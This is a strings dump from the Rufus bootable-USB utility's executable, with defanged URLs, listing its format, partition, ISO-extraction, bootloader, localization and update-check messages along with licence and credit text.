TCPAu$
TCPA
TCPAf
Error loading operating system
Missing operating system
TCPAu2
Press any key to boot from USB.
Missing operating system.
Operating system load error.
filesystem type "????????" not supported
libgcc_s_dw2-1.dll
libgcj-16.dll
%sInterrupting at block %I64u
%s%lu
Block %lu: %s error
%sError %d adding to in-memory bad block list
%sInvalid number of passes
%sError while allocating buffers
%sChecking from block %lu to %lu
%sUsing offset %d for fake device check
%sWriting test pattern 0xX
%sWeird value (%ld) in do_write
%sReading and comparing
%sWeird value (%ld) in do_read
%sError %d while creating in-memory bad blocks list
Failed to wait for event for checksum thread #%d: %s
Failed to set event for checksum thread #%d: %s
Computing checksum for '%s'...
Unable to create checksum thread event: %s
Unable to start checksum thread #%d
Could not open file: %s
Could not signal checksum thread %d: %s
Read error: %s
Checksum threads failed to signal: %s
Checksum threads did not finalize: %s
SHA256: %s
Unable to get system directory: %s
\diskcopy.dll
Unable to open %s: %s
MS-DOS disk image is too small (%d bytes)
FAT File %s would be out of bounds: %X, %X
%X, %X
COMMAND.COM
Patching COMMAND.COM...
IO.SYS
Patching IO.SYS...
Unable to create file '%s': %s.
Could not write file '%s': %s.
Could not set timestamps: %s
Successfully wrote '%s' (%d bytes)
C:\Windows\System32
KEYB COM
KEYBOARDSYS
KEYBRD2 SYS
KEYBRD3 SYS
KEYBRD4 SYS
KERNEL.SYS
DISPLAY.EXE
KEYB.EXE
MODE.COM
KEYBOARD.SYS
KEYBRD2.SYS
KEYBRD3.SYS
KEYBRD4.SYS
ega.cpx
ega2.cpx
ega3.cpx
ega4.cpx
ega5.cpx
ega6.cpx
ega7.cpx
ega8.cpx
ega9.cpx
ega10.cpx
ega11.cpx
ega12.cpx
ega13.cpx
ega14.cpx
ega15.cpx
ega16.cpx
ega17.cpx
ega18.cpx
Someone missed a keyboard!
ega.cpi
ega2.cpi
device=\locale\display.sys con=(ega,,1)
ega3.cpi
Could not scan keyboard layout name - falling back to US as default
Windows KBID 0xx
Unable to match KBID, trying LangID 0xx
Will use DOS keyboard '%s' [%s]
Will use codepage %d [%s]
\AUTOEXEC.BAT
Unable to create 'AUTOEXEC.BAT': %s.
echo Using %s keyboard with %s codepage [%d]
Successfully wrote 'AUTOEXEC.BAT'
\CONFIG.SYS
Unable to create 'CONFIG.SYS': %s.
%s1%c Use %s keyboard with %s codepage [%d]
%s2%c Use %s keyboard with %s codepage [%d]
Successfully wrote 'CONFIG.SYS'
GOTO %%CONFIG%%
mode con codepage prepare=((%d) \locale\%s) > NUL
mode con codepage select=%d > NUL
keyb %s,,\locale\%s
Unable to find an EGA file with codepage %d [%s]
Keyboard id '%s' is not supported - falling back to 'us'
Portuguese
Czech Kamenicky
Czech Kamenicky (Alt)
keyboard.sys
keybrd2.sys
keybrd3.sys
keybrd4.sys
Could not open drive %s: %s
Opened drive %s for write access
Could not get exclusive access to device %s: %s
\\.\MountPointManager
\\.\PHYSICALDRIVE%d
Could not access first GUID volume: %s
Could not access next GUID volume: %s
'%s' is not a GUID volume name
Failed to get device path for GUID volume '%s': %s
Skipping GUID volume for '%s'
Could not open GUID volume '%s': %s
Could not get Disk Extents: %s
Could not get device number for device %s: %s
Ignoring drive '%s' as it spans multiple disks (RAID?)
Device Number for device %s is too big (%d) - ignoring device
GetLogicalDriveStrings failed: %s
GetLogicalDriveStrings: Buffer too small (required %d vs. %d)
\\.\%c:
\\.\#:
Ignoring autorun.inf label for drive %c: %s
Using autorun.inf label for drive %c: '%s'
#:\autorun.inf
%s does not have an x86 %s
%s has a %s %s
%s has an unknown %s
Volume does not have an x86 %s
Drive has a %s %s
Volume has an unknown FAT16 or FAT32 %s
Volume has an unknown %s
Could not unmount drive: %s
Volume is already mounted, but as %c: instead of %c: - Unmounting...
Failed to unmount volume: %s
%s already mounted, but volume GUID could not be checked: %s
%s already mounted, but volume GUID doesn't match:
expected %s, got %s
%s was already mounted as %s
Could not get the DOS volume name for '%s': %s
Could not get the DOS device list: %s
Could not find partition mapping for %s
Could not find the DOS volume name for partition '%s': %s
Could not mount '%s' to '%s': %s
Successfully mounted '%s' (USB partition %d) as '%s'
Could not unmount '%s': %s
Successfully unmounted '%s'
Failed to open %c: for flushing: %s
Failed to flush %c: %s
Successfully remounted %s on %s
Failed to remount %s on %s
Could not remount %s %s
Could not refresh drive layout: %s
uefi-ntfs.img
Could not zero MSR: %s
Reserved %I64i tracks (%s) for extra partition
Unsupported file system
Could not access uefi-ntfs.img
Write error: %s
Could not reset disk: %s
Could not set drive layout: %s
Could not delete drive layout: %s
No volume information for drive 0xx
Could not get geometry for drive 0xx: %s
Warning: Drive 0xx reports a sector size of %d - Correcting to 512 bytes.
Disk type: %s, Sector Size: %d bytes
Cylinders: %I64i, TracksPerCylinder: %d, SectorsPerTrack: %d
Could not get layout for drive 0xx: %s
Partition type: MBR, NB Partitions: %d
Disk ID: 0xX %s
Partition %d%s:
Type: %s (0xx)
Size: %s (%I64i bytes)
Start Sector: %d, Boot: %s, Recognized: %s
Partition type: GPT, NB Partitions: %d
Disk GUID: %s
Max parts: %d, Start Offset: %I64i, Usable = %I64i bytes
Partition %d:
Type: %s
Name: '%s'
ID: %s
Windows 95B/98/98SE/ME
Windows 2000/XP/2003
Windows Vista
Windows 7
Windows Mobile XIP
Windows Mobile IMGFS
Windows Hibernation
Closed Windows format prompt
Microsoft Windows
Unsupported cluster size
Volume is too %s
FormatExCallback: Received unhandled command 0x02%X - aborting
ChkdskExCallback: received unhandled command %X
Erasing %d sectors
read error: %s
write error: Wrote %d bytes, expected %d bytes
write error: %s
FAT label is mostly underscores. Using '%s' label instead.
Using %s %s partition boot record
FAT16 is not supported for KolibriOS
New volume does not have a %s FAT32 boot sector - aborting
Confirmed new volume has a %s FAT32 boot sector
Setting %s FAT32 boot sector for boot...
Unsupported FS for FS BR processing - aborting
IOCTL_DISK_GET_DRIVE_GEOMETRY error: %s
IOCTL_DISK_GET_PARTITION_INFO error: %s
This drive is too big for FAT32 - max 2TB supported
Size : %s %u sectors
Cluster size %d bytes, %d Bytes Per Sector
Volume ID is %x:%x
%d Reserved Sectors, %d Sectors per FAT, %d FATs
%d Total clusters
%d Free Clusters
Clearing out %d sectors for reserved sectors, FATs and root cluster...
FAT #%d sector at address: %d
Could not set label: %s
Will use '%c:' as volume mountpoint
Failed to delete mountpoint %s: %s
\rufus_ddd_ddd.log
Rufus bad blocks check started on: d.d.d d:d:d
Bad Blocks: Check completed, %d bad block%s found. (%d/%d/%d errors)
Rufus bad blocks check ended on: d.d.d d:d:d
Could not open image '%s': %s
Remounted %s on %s
Could not close volume: %s
Unable to locate %s() in %s.dll: %s
Using cluster size: %d bytes
%s format was selected
Could not enable NTFS compression: %s
Format error: %s
Warning: converting a non FAT16 partition to FAT16 LBA: FS type=0xx
Warning: converting a non FAT32 partition to FAT32 LBA: FS type=0xx
Set bootable USB partition as 0xX
Using %s MBR
Failed to notify system about disk properties update: %s
grldr.mbr
grldr.mbr is either not present or too small
core.img
Could not access core.img
Found volume GUID %s
Could not remount %s on %s: %s
Spock gone crazy error in %s:%d
Installing: %s (Grub4DOS loader)
rufus_files\grub4dos-0.4.6a\grldr
Failed to copy file: %s
Windows To Go mode selected
Could not mount ISO for Windows To Go installation
Mounted ISO as '%s'
Failed to apply Windows To Go image
Formatting EFI system partition %s
%s\bcdboot.exe %s\Windows /v /f ALL /s %s
Failed to enable boot using command '%s'
Copying 'unattend.xml', to disable the use of the Windows Recovery Environment...
unattend.xml
Could not write '%s'
Installing: %s (KolibriOS loader)
Could not create directory '%s': %s
Windows\Boot\EFI\bootmgfw.efi
\minint\txtsetup.sif
\i386\txtsetup.sif
SetupSourceDevice = "\device\harddisk%d\partition1"
%c:\%s\ntdetect.com
%c:\ntdetect.com
%c:\%s\txtsetup.sif
%c:\txtsetup.sif
Did not copy %s as %s: %s
Failed to add SetupSourceDevice in %s
Successfully added '%s' to %s
%c:\%s\setupldr.bin
%c:\BOOTMGR
Could not open %s for patching: %s
Could not get size for file %s: %s
Could not read file %s: %s
Patching file %s
0xX: '%s' -> '%s'
0xX: '%s' -> 'rdisk(%c)'
0xX: '%s' -> '%s%s'
Could not write patched file: %s
Re-mounted volume as '%c:' after error
?:\efi\boot\bootx64.efi
Saving to image '%s'...
B%sautorun.inf
%s already exists - keeping it
Unable to create %s
NOTE: This may be caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.
Created: %s
Unable to create icon '%s': %s.
Could not write icon header: %s.
Could not write ICONDIRENTRY[%d]: %s.
Could not write ICONDIRENTRY[%d] offset: %s.
Could not write icon data #%d: %s.
libcdio: %s
grub.cfg
bootmgr.efi
kolibri.img
setupldr.sys
install.wim
?:\%s\%s
install.swm
ldlinux.sys
Extracting: %s
Patched %s: '%s'
isolinux.cfg
Duplicated %s to %s
cd9660:/dev/iso9660/%s
msdosfs:/dev/msdosfs/%s
Could not set timestamp for directory '%s': %s
%s%s/%s
%s/syslinux-%s/%s
Could not replace file: %s
File name sanitized to '%s'
Unable to create file: %s
autorun.inf
NOTE: This is usually caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.
Error reading UDF file %s
Error writing file: %s
Could not set timestamp: %s
%s%s/
Could not access directory %s
Ignoring Rock Ridge symbolic link to '%s'
Error reading ISO9660 file %s at LSN %lu
GRUB version %s
Unable to create file %s: %s
Could not locate file %s in ISO image
Error reading UDF file %s
Error writing file %s: %s
Unable to open image '%s'.
Could not get ISO-9660 file information for file %s
Error reading ISO9660 file %s at LSN %lu
%sImage is an UDF image
%sCould not locate UDF root directory
%s'%s' doesn't look like an ISO image
%sImage is an ISO9660 image
%sThis image will be extracted using %s extensions (if present)
%sThis image will not be extracted using any ISO extensions
/boot/i386/loader/isolinux.cfg
/boot/x86_64/loader/isolinux.cfg
Will use '%s' for Syslinux
Could not access %s
Found conflicting %s versions:
'%s' (%d.d%s) vs '%s' (%d.d%s)
%d.d
Detected Syslinux version: %s%s (from '%s')
Warning: Could not detect Isolinux version - Forcing to %s (embedded)
/%s/txtsetup.sif
.\txtsetup.sif~
Checking txtsetup.sif:
OsLoadOptions = %s
boot/grub/i386-pc/normal.mod
Could not read Grub version from 'boot/grub/i386-pc/normal.mod'
Detected Grub version: %s
%s\syslinux.cfg
%s\syslinux.org
Renaming: %s
Unable to create %s - booting from USB will not work
CONFIG %s
APPEND %s/
Could not open ISO '%s': %s
Could not mount ISO '%s': %s
Could not obtain physical path for mounted ISO '%s': %s
ntdetect.com
setupldr.bin
txtsetup.sif
.\isolinux.bin
syslinux.cfg
extlinux.conf
bootia32.efi
bootx64.efi
bootia64.efi
bootarm.efi
localization: invalid MSG_ index
%s(%d): operation forbidden (main dialog title cannot be changed)
%s(%d): control '%s' is not part of dialog '%s'
MSG_d UNTRANSLATED
PrintStatusInfo: invalid MSG_ID
(default) MSG_d UNTRANSLATED
localization: could not find locale for LCID: 0xX. Will default to '%s'
localization: could not find locale for name '%s'. Will default to '%s'
%s(%d): only the [t]ext command can be applied to a message (MSG_###)
%s(%d): failed to convert the numeric value in '%'
%s(%d): unknown control '%s'
%s(%d): '%s' is not a group ID
localization: using locale base '%s'
%s(%d): locale base '%s' not found - ignoring
Will use default UI locale 0xX
Detected installed Windows Language Pack for 0xX (%s)
NOTE: No Windows Language Pack is installed for %s on this system.
IDC_NBPASSES
IDC_WINDOWS_INSTALL
IDC_WINDOWS_TO_GO
IDC_WEBSITE
IDC_DOWNLOAD_URL
MSG_000
MSG_001
MSG_002
MSG_003
MSG_004
MSG_005
MSG_006
MSG_007
MSG_008
MSG_009
MSG_010
MSG_011
MSG_012
MSG_013
MSG_014
MSG_015
MSG_016
MSG_017
MSG_018
MSG_019
MSG_020
MSG_021
MSG_022
MSG_023
MSG_024
MSG_025
MSG_026
MSG_027
MSG_028
MSG_029
MSG_030
MSG_031
MSG_032
MSG_033
MSG_034
MSG_035
MSG_036
MSG_037
MSG_038
MSG_039
MSG_040
MSG_041
MSG_042
MSG_043
MSG_044
MSG_045
MSG_046
MSG_047
MSG_048
MSG_049
MSG_050
MSG_051
MSG_052
MSG_053
MSG_054
MSG_055
MSG_056
MSG_057
MSG_058
MSG_059
MSG_060
MSG_061
MSG_062
MSG_063
MSG_064
MSG_065
MSG_066
MSG_067
MSG_068
MSG_069
MSG_070
MSG_071
MSG_072
MSG_073
MSG_074
MSG_075
MSG_076
MSG_077
MSG_078
MSG_079
MSG_080
MSG_081
MSG_082
MSG_083
MSG_084
MSG_085
MSG_086
MSG_087
MSG_088
MSG_089
MSG_090
MSG_091
MSG_092
MSG_093
MSG_094
MSG_095
MSG_096
MSG_097
MSG_098
MSG_099
MSG_100
MSG_101
MSG_102
MSG_103
MSG_104
MSG_105
MSG_106
MSG_107
MSG_108
MSG_109
MSG_110
MSG_111
MSG_112
MSG_113
MSG_114
MSG_115
MSG_116
MSG_117
MSG_118
MSG_119
MSG_120
MSG_121
MSG_122
MSG_123
MSG_124
MSG_125
MSG_126
MSG_127
MSG_128
MSG_129
MSG_130
MSG_131
MSG_132
MSG_133
MSG_134
MSG_135
MSG_136
MSG_137
MSG_138
MSG_139
MSG_140
MSG_141
MSG_142
MSG_143
MSG_144
MSG_145
MSG_146
MSG_147
MSG_148
MSG_149
MSG_150
MSG_151
MSG_152
MSG_153
MSG_154
MSG_155
MSG_156
MSG_157
MSG_158
MSG_159
MSG_160
MSG_161
MSG_162
MSG_163
MSG_164
MSG_165
MSG_166
MSG_167
MSG_168
MSG_169
MSG_170
MSG_171
MSG_172
MSG_173
MSG_174
MSG_175
MSG_176
MSG_177
MSG_178
MSG_179
MSG_180
MSG_181
MSG_182
MSG_183
MSG_184
MSG_185
MSG_186
MSG_187
MSG_188
MSG_189
MSG_190
MSG_191
MSG_192
MSG_193
MSG_194
MSG_195
MSG_196
MSG_197
MSG_198
MSG_199
MSG_200
MSG_201
MSG_202
MSG_203
MSG_204
MSG_205
MSG_206
MSG_207
MSG_208
MSG_209
MSG_210
MSG_211
MSG_212
MSG_213
MSG_214
MSG_215
MSG_216
MSG_217
MSG_218
MSG_219
MSG_220
MSG_221
MSG_222
MSG_223
MSG_224
MSG_225
MSG_226
MSG_227
MSG_228
MSG_229
MSG_230
MSG_231
MSG_232
MSG_233
MSG_234
MSG_235
MSG_236
MSG_237
MSG_238
MSG_239
MSG_240
MSG_241
MSG_242
MSG_243
MSG_244
MSG_245
MSG_246
MSG_247
MSG_248
MSG_249
MSG_250
MSG_251
MSG_252
MSG_253
MSG_254
MSG_255
MSG_256
MSG_257
MSG_258
MSG_259
MSG_260
MSG_261
MSG_262
MSG_263
MSG_264
MSG_265
MSG_266
MSG_267
MSG_268
MSG_269
MSG_270
MSG_271
MSG_272
MSG_273
MSG_274
MSG_275
MSG_276
MSG_277
MSG_278
MSG_279
MSG_280
MSG_281
MSG_282
MSG_283
MSG_284
MSG_285
MSG_286
MSG_287
MSG_288
MSG_289
MSG_MAX
embedded.loc
Could not read Windows version - Check for updates cancelled.
hXXp://rufus.akeo.ie/
Rufus/%d.%d.%d (Windows NT %d.%d%s)
Checking %s channel...
%s%s%s_%s_%d.%d.ver
Base update check: %s
Trying %s
Could not find a %s version file on server %s
Found match for %s on server %s
IMPORTANT: Your local clock is more than 10 minutes in the %s. Unless you fix this, Rufus may not be able to check for updates...
Successfully downloaded version file (%d bytes)
version: %d.%d.%d (%s)
platform_min: %d.%d
url: %s
N%sew %s version found%c
The URL is invalid.
The URL scheme could not be recognized or is not supported.
The Win32 Internet function support is being shut down or unloaded.
The request to connect and log on to an FTP server could not be completed because the supplied user name is incorrect.
The request to connect and log on to an FTP server could not be completed because the supplied password is incorrect.
The request to connect to and log on to an FTP server failed.
The requested operation is invalid.
The operation was cancelled, usually because the handle on which the request was operating was closed before the operation completed.
The type of handle supplied is incorrect for this operation.
The requested operation cannot be carried out because the handle supplied is not in the correct state.
The required operation could not be completed because one or more requests are pending.
SSL certificate date that was received from the server is bad. The certificate is expired.
SSL certificate common name (host name field) is incorrect.
The requested operation cannot be made on the FTP session handle because an operation is already in progress.
The FTP operation was not completed because the session was aborted.
The request made to HttpQueryInfo is invalid.
Client Authentication certificate needed
This connection requires an MSN Security Support Provider Interface package.
Unknown internet error 0xX
Downloading '%s' from %s
Unable to decode URL: %s
Could not open Internet session: %s
Could not connect to server %s:%d: %s
Could not open URL %s: %s
Unable to send request: %s
Unable to access file: %d
Unable to retrieve file length: %s
File length: %d bytes
Unable to create file '%s': %s
Error writing file '%s': %s
Could not download complete file - read: %d bytes, expected: %d bytes
Successfully downloaded '%s'
Network is unavailable: %s
B%s(%d): could not allocate command
%s(%d): missing parameter for command '%c'
%s(%d): no start quote
%s(%d): invalid integer
%s(%d): internal error (unexpected number of numeric values)
localization: unhandled arg_type '%c'
%s(%d): unknown command
%s(%d): no end quote
%s(%d): syntax error: '%s'
Could not convert '%s' to UTF-16
localization: could not open '%s'
localization: found locale '%s'
%s(%d): [a]ttributes cannot precede [l]ocale
%s(%d): [v]ersion was already provided at line %d
%s(%d): [v]ersion format is invalid
%s(%d): [v]ersion cannot precede [l]ocale
%s(%d): [v]ersion is not compatible with this framework
%s(%d): the version of this locale is incompatible with this version of Rufus and MUST be updated to at least v%d.%d.0
%s(%d): the version of this translation is older than the base one and may result in some messages not being properly translated.
If you are the translator, please update your translation with the changes that intervened between v%d.%d.%d and v%d.%d.%d.
See hXXps://github.com/pbatard/rufus/blob/master/res/localization/ChangeLog.txt
localization: '%s' contains no valid locale sections
%s(%d): unknown attribute '%c' - ignored
localization: no %slocale
Could not open file '%s'
Could not open temporary output file '%s~'
Could not write '%s' - original file has been left unmodified
download_url
Could not read file '%s'
Could not write '%s' - original file has been left unmodified.
PKI: Failed to get store handle for '%s': %s
PKI: Failed to get signer size: %s
PKI: Failed to get signer information: %s
PKI: Failed to locate signer certificate in temporary store: %s
Downloaded executable is signed by '%s'
PKI: Unable to convert '%s' to UTF16
PKI: Signature '%s' is unexpected...
d:d:d
Blocking I/O operation detected
Key is not empty
Failed to delete registry key HKCU\Software\%s: %s
*.log
rufus.log
The drive is incompatible with FS type #%d
Image is a %sbootable %s image
ISO label: '%s'
Uses: Syslinux/Isolinux v%s
With an old %s
Uses: EFI %s
Uses: WinPE %s
Uses: Install.wim (version %d.%d.%d)
Note: This WIM version is NOT compatible with Windows To Go
This ISOHybrid is not compatible with any of the ISO boot methods we support
Rufus %d.%d.%d%s
%s%d.%d.%d Rufus
Rufus version: %d.%d.%d%s
Warning: could not read embedded Syslinux v%d version
Windows version: %s
Syslinux versions: %s%s, %s%s
0.4.6a
Grub versions: %s, %s
System locale ID: 0xX
NOTE: The %s translation requires an update, but the current translator hasn't submitted one. Because of this, some messages will only be displayed in English.
%d %s
inetcpl.cpl
Syslinux %s
Grub4DOS 0.4.6a
*.img;*.vhd;*.gz;*.bzip2;*.xz;*.lzma;*.Z;*.zip
*.iso
%s (%s)
Image provided: '%s'
Windows To Go
hXXp://sourceforge.net/projects/sevenzip/files/7-Zip/
%s-%s/%s
Will reuse '%s' from './rufus_files/%s-%s/' for Grub 2.x installation
Failed to read existing '%s' data - will use embedded version
%s-%s
hXXp://rufus.akeo.ie/files
%s/%s-%s/%s
%s was not found - will use embedded version
Failed to read '%s' data - will use embedded version
Will replace obsolete '%s' from ISO with the one found in './rufus_files/%s'
%s-%s%s/%s.%s
Will reuse '%s.%s' and '%s.%s' from './rufus_files/%s/%s-%s%s/' for Syslinux installation
%s/%s-%s%s/%s.%s
%s/%s-%s/%s.%s
%s-%s\%s.%s
%s-%s\%s\%s.%s
Could not download the file - will try to use embedded %s version instead
%s-%s/%s.%s
Will reuse './%s/%s' for Syslinux installation
%s.%s
grub4dos-%s/grldr
Will reuse './%s/%s' for Grub4DOS installation
grub4dos-%s
%s/grub4dos-%s/grldr
URL = %s
Format operation started
*.vhd
%s.vhd
Save to VHD operation started
Msvcrt
Global/Rufus_CmdLine
Could not find ISO image '%s'
Usage: %s [-f] [-g] [-h] [-i PATH] [-l LOCALE] [-w TIMEOUT]
Start in GUI mode (disable the 'rufus.com' commandline hogger)
Could not get current directory: %s
Could not get system directory: %s
Could not get Windows directory: %s
C:\Windows
%s\rufus.ini
Will use settings from %s
found locale '%s'
EnableWindowsDualUefiBiosMode
rufus.loc
localization: unable to extract '%s': %s
localization: extracted data to '%s'
%s\%s
using external loc file '%s'
Could not load RichEdit library - some dialogs may not display: %s
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
localization: using locale '%s'
NOTE: Listing of non-USB removable drives has been %s.
rufus.com
SetLGP: CoCreateInstance failed; hr = %x
SetLGP: OpenLocalMachineGPO failed - error %x
SetLGP: GetRegistryKey failed - error %x
SetLGP: Failed to open LGPO path %s - error %x
SetLGP: Failed to read original %s policy value - error %x
SetLGP: RegSetValueEx / RegDeleteValue failed - error %x
SetLGP: Unable to apply %s policy - error %x
SetLGP: Successfully %s %s policy to 0xX
SetLGP: Successfully removed %s policy key
hash table is full (%d entries)
Windows Undefined
%s %u.%u %s
%s SP%u.%u %s
%s SP%u %s
%s %s
Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber
OpenProcessToken failed: %s
GetTokenInformation (pre) failed: %s
Unable to convert SID to string: %s
Unable to convert string back to SID: %s
GetTokenInformation (real) failed: %s
Could not set security descriptor: %s
Could not %s file '%s'
I/O Error: %s
Could not locate resource '%s': %s
Could not load resource '%s': %s
Coult not allocate resource '%s'
Could not set commandline pipe: %s
Unable to launch command '%s': %s
thr_%d:
[0xX]
Windows error code 0xX (FormatMessage error code 0xX)
Unknown error 0xX
{X-X-X-XX-XXXXXX}%0.0f%s
%0.1f%s
%s%0.0f%s %s
%s%0.1f%s %s
%s%d%s %s
%s%d%s%s
StrError: non storage - X (%X)
Unknown error: X
Warning - Could not read file pointer: %s
Wrote %d bytes but requested %d%s
Write error [0x%8X]%s
%s (*.*)
Could not select file for %s. Error %X
Maximum number of tooltips reached (%d)
CoCreateInstance for TaskbarList failed: error %X
*.exe
hXXp://rufus.akeo.ie
Failed to launch new application: %s
Could not get download URL
Could not locate font for %s!
Rufus.exe
Copyright (C) 2007 Free Software Foundation, Inc. <hXXp://fsf.org/>
certain responsibilities if you distribute copies of the software, or if
gratis or for a fee, you must pass on to the recipients the same
infringement under applicable copyright law, except executing it on a
The "System Libraries" of an executable work include anything, other
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
the source code needed to generate, install, and (for an executable
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
and you may offer support or warranty protection for a fee.
long as you offer spare parts or customer support for that product
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
A separable portion of the object code, whose source code is excluded
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
requirement to continue to provide support service, warranty, or updates
adversely affects the operation of the network or violates the rules and
source code form), and must require no special password or key for
removal in certain cases when you modify the work.) You may place
You may not impose any further restrictions on the exercise of the
not impose a license fee, royalty, or other charge for exercise of
sale, or importing the Program or any portion of it.
make, use, sell, offer for sale, import and otherwise run, modify and
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
Program specifies that a certain numbered version of the GNU General
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
\fs16\b %s\b0\line
%s\par
\fs16 %s\par
\fs16 %s\line
%s\line
\b %s\b0\line
hXXp://pcunleashed.com\line
hXXp://ms-sys.sourceforge.net\line
FreeDOS support from the FreeDOS project:\line
hXXp://VVV.freedos.org\line
ISO extraction support from libcdio by Rocky Bernstein et al.:\line
hXXp://VVV.gnu.org/software/libcdio\line
Syslinux support from Syslinux by H. Peter Anvin et al.:\line
hXXp://VVV.syslinux.org\line
Grub4DOS support from Grub4DOS by chenall, itself based on GRUB Legacy by the Free Software Foundation:\line
hXXps://github.com/chenall/grub4dos\line
GRUB 2 support from GNU GRUB by the Free Software Foundation:\line
hXXp://VVV.gnu.org/software/grub\line
ReactOS support & additional FAT and time-conversion handling by ReactOS:\line
hXXp://VVV.reactos.org\line
hXXp://svn.reactos.org/svn/reactos/trunk/reactos\line
hXXp://e2fsprogs.sourceforge.net\line
hXXp://VVV.ridgecrop.demon.co.uk/index.htm?fat32format.htm\line
fmifs.dll usage based on Formatx by Mark Russinovich:\line
hXXp://doc.sch130.nsc.ru/VVV.sysinternals.com/ntw2k/source/fmifs.shtml\line
hXXp://svn.reactos.org/svn/reactos/trunk/reactos/include/reactos/libs/fmifs\line
Device enumeration based on TestUSBDriveEject.cpp by ahmd:\line
hXXp://VVV.codeguru.com/forum/showthread.php?p=1951973\line
Decompression support from BusyBox/Bled:\line
hXXp://VVV.busybox.net/\line
hXXps://github.com/pbatard/bled\line
hXXps://sourceforge.net/projects/smartmontools\line
hXXp://VVV.gnu.org/software/fdisk\line
hXXp://kolibrios.org\line
hXXps://VVV.gnupg.org\line
hXXp://7-zip.org\line
hXXps://github.com/weidai11/cryptopp/\line
hXXp://winscp.net\line
hXXp://tortoisesvn.net/, hXXp://code.google.com/p/tortoisegit/\line
\b\fs20%s\b0\line
\fs18%s\line
hXXp://rufus.akeo.ie\line
hXXps://github.com/pbatard/rufus/issues\line
\b\fs19 %s\b0}
Cannot read sector %u
Could not open %s
Could not read %s
Using existing './%s'
%C:\%s.%s
Unable to create '%s'
Could not write '%s': %s
Could not write ADV to '%s': %s
Successfully wrote '%s'
Could not translate LDLINUX.SYS LCN to disk LBA
Unsupported Syslinux filesystem
Could not read Syslinux boot record: %s
Partial read of Syslinux boot record: read %d bytes but requested %d
Could not write Syslinux boot record: %s
%s/%s-%s
Caution: No '%s' was provided. The target will be missing a required Syslinux file!
Created '%s' (from '%s/%s-%s/%s')
Failed to create '%s': %s
%C:\%s
%C:\syslinux.cfg
Could not create ReactOS 'syslinux.cfg'
KERNEL %s
APPEND %s
Processing Hub %d:
Hub[%d] = '%s'
Found ID[d]: %s
Processing IDs belonging to '%s':
SetupDiGetClassDevs (Interface) failed: %s
SetupDiGetDeviceRegistryProperty (Enumerator Name) failed: %s
Processing '%s' device:
Hardware ID: '%s'
SetupDiGetDeviceRegistryProperty (Friendly Name) failed: %s
Could not locate device node for '%s'
Could not get children of '%s'
NOTE: Matched instance from sibling for '%s'
Matched with ID[d]: %s
Matched with (GP) ID[d]: %s
Matched with Hub[%d]: '%s'
Could not get device instance handle for '%s': CR error %d
Could not get port for '%s': CR error %d
Could not open hub %s: %s
Could not get node connection information for '%s': %s
Could not get node connection information (V2) for device '%s': %s
Found VHD device '%s'
Found card reader device '%s'
Found non-USB removable device '%s'
????:????
X:X
Found %s%s%s device '%s' (%s) %s
NOTE: This device is an USB 3.0 device operating at lower speed...
SetupDiEnumDeviceInterfaces failed: %s
A device was eliminated because it didn't report itself as a disk
SetupDiGetDeviceInterfaceDetail (dummy) failed: %s
SetupDiGetDeviceInterfaceDetail (actual) failed: %s
Could not open '%s': %s
Device eliminated because it is smaller than %d MB
Device eliminated because it was detected as a Hard Drive (score %d > 0)
Removing %C: from the list: This is the %s!
%s [%s]
?:\EFI\Rufus\ntfs_x64.efi
Opening: %s:[%d] (7-Zip)
Extracting: %s (From %s)
"%s" -y e "%s" %s%s
Could not launch 7z.exe: %s
\bootmgfw.efi
Could not rename %s to %s
7z.exe did not extract %s
'%s' (%s)
Apply %s: %s [err = %d]
Opening: %s:[%d] (API)
Could not fetch temp path: %s
Could not access image: %s
Could not set temp path: %s
Could not set index: %s
Could not extract file: %s
Closing: %s
Opening: %s:[%d]
Could not set progress callback: %s
Applying Windows image...
Could not count the files to apply: %s
Could not apply image: %s
Rpcrt4
Could not write VHD footer: %s
Could not open image '%s'
Could not get image size: %s
Unsupported type of VHD image
Warning: VHD footer seems corrupted (checksum: X, expected: X)
wimgapi.dll
\7z.exe
WIM extraction method(s) supported: %s%s%s
WIM apply method supported: %s
.lzma
BThis compression type is not supported
Could not open '%s' (errno: %d)
unsupported compression format
Could not get source descriptor (errno: %d)
Could not get target descriptor (errno: %d)
bunzip error %d
compressed with %d bits, can only handle 16 bits
read error (errno: %d)
write error (errno: %d)
unsupported check; not verifying file integrity
not a .xz file
unsupported XZ header option
@@@invalid zip magic X
zip method method %d is not supported
zip flags 1 and 8 are not supported
processing archive file '%s'
write_sectors: Could not access sector 0xI64x - %s
write_sectors: Write error %s
Wrote: %d, Expected: %I64u
read_sectors: Could not access sector 0xI64x - %s
read_sectors: Read error %s
Read: %d, Expected: %I64u
unsupported sectors size
kernel32.dll
KERNEL32.DLL not found!
GetVolumePathName() not found in KERNEL32.DLL!
GetDiskFreeSpace() not found in KERNEL32.DLL!
Unsupported number of volume disk extents!
Converted ISO 9660 timezone %d is less than -48. Adjusted
Converted ISO 9660 timezone %d is over 52. Adjusted
string '%s' fails 7bit constraint (pos = %d)
string '%s' fails a-character constraint (pos = %d)
string '%s' fails d-character constraint (pos = %d)
string '%s' is getting truncated to %d characters
%s;%d
Couldn't calloc(1, %d)
%d %d %d, '%c%c' (%d, %d)
error reading PVD sector (%d) error %d
Found Extension: Joliet Level %d
Expecting the PVD sector header MSF to be 0x16, is: %x
Expecting the PVD sector mode to be Mode 1 is: %x
Expecting the PVD sector mode to be Mode 2 is: %x
Unsupported NM flag settings (%d)
Unsupported allocation descriptor %d
Unknown strategy type %d
read count %u is larger than %u extent size.
read count truncated to %u
**ERROR: %s
--DEBUG: %s
WARN: %s
INFO: %s
!ASSERT: %s
Reading audio sector(s) lsn %u for %d blocks
Reading data sector(s) lsn, %u blocksize %d, for %d blocks
Reading mode 1 secto lsn %u
number of minutes (%d) truncated to 99.
Null CdIo object passed
Number of tracks exceeds maximum (%d vs. %d)
fclose (): %s
fread (): %s
fseeko64 (): %s
could not retrieve file info for `%s': %s
